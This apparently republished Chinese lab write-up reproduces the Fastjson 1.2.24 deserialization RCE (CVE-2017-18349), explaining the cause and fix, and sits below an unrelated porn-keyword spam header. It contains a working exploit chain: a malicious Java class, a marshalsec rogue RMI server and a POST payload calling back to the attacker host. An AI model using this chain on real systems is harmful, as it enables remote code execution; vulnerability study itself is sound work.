日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)

發布時間:2024/3/12 编程问答 47 豆豆
生活随笔 收集整理的這篇文章主要介紹了 FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

#FastJson1.2.24反序列化導致任意命令執行漏洞(CVE-2017-18349)#

一、漏洞簡介

Pippo是一款基于Java的Web框架。FastjsonEngine是其中的一個JSON處理引擎。Fastjson是其中的一個基于Java的JSON解析器/生成器。 Pippo 1.11.0版本中的FastjsonEngine所使用的Fastjson 1.2.25之前版本的parseObject存在安全漏洞。利用fastjson autotype在處理json對象時,未對@type字段進行安全的安全性驗證,攻擊者可以傳入危險類,并調用危險類連接遠程RMI主機,通過其中的惡意類執行代碼。

二、漏洞影響

影響版本

Fastjson<1.2.25

三、產生原因

@type屬性:Fastjson支持在json數據中使用@type屬性,該json數據會被反序列化成指定的對象類型,在反序列化過程中fastjson會調用parse(jsonStr)函數嘗試對對象的屬性進行賦值,若對象的javabean存在屬性的setter方法則調用set方法,反之調用get方法。

TemplatesImpl中存在一個反序列化利用鏈,在反序列化過程中,如果該類的getOutputProperties()方法被調用,即可成功觸發代碼執行漏洞。

TemplatesImpl類_outputProperties成員變量的getter方法滿足被調用條件。無論通過fastjson哪種方式解析json字符串,都會觸發getOutputProperties()方法。

由此可見:FastJson在反序列化TemplatesImpl類時會恰好觸發TemplatesImpl類的getOutputProperties()方法;TemplatesImpl類的getOutputProperties()方法被觸發就會引起反序列化代碼執行漏洞。

四、復現過程

docker 靶機:192.168.111.137

攻擊機 kali:192.168.111.136

靶場環境:FastJson 1.2.24

環境搭建好后訪問192.168.111.137:8090,顯示頁面如下:

exp:

先將需要執行的java代碼編譯成class字節碼文件,供靶機遠程調用

// javac TouchFile.java import java.lang.Runtime; import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/success"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}} }

使用Java反序列化利用工具marshalsec輔助開啟RMI環境

marshalsec:

git clone https://github.com/mbechler/marshalsec

maven:

apt-get install maven

借助marshalsec項目,啟動一個RMI服務器,監聽端口,并制定加載遠程類TouchFile.class,執行:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.136:1234/#TouchFile" 9999

開啟http服務:

python -m SimpleHTTPServer 1234

發送POC,反彈shell

POST / HTTP/1.1 Host: 192.168.111.137:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 167{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.111.136:9999/TouchFile","autoCommit":true}}

運行payload,成功后,服務端響應碼500。

在監聽端口查看到已建立連接。

進入靶機查看命令是否執行成功,輸入命令進入FastJson環境容器執行bash:

查看容器id

docker ps

執行以下命令查看遠程命令是否被執行:

docker exec -it 01d4680e6d12 /bin/bash

success已被創建,復現成功。

復現過程中遇到的坑:JDK版本問題。

由于jdk:8u102沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,改為jdk:8u102或以下版本后復現成功。

五、修復方案

在fastjson的官方補丁中,將loadClass(typeName, config.getDefaultClassLoader())替換為了config.checkAutoType(typeName),并且擴充了黑名單列表,將傳入的類名與黑名單一一比較,如果發現了相同開頭的類就停止反序列化。

// 新增的黑名單 bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework

可以看到絕大部分常用的類都已經被加進來了,但是如果不經常維護此名單,一旦后面出現了新的可以利用的類,很容易就繞過這個限制。

六、參考鏈接

Fastjson1.2.24漏洞復現詳細過程

fastjson 1.2.24 反序列化導致任意命令執行漏洞 復現詳細步驟

marshalsec下載地址

標簽

CVE-2017-18349、FastJson、反序列化、命令執行

總結

以上是生活随笔為你收集整理的FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。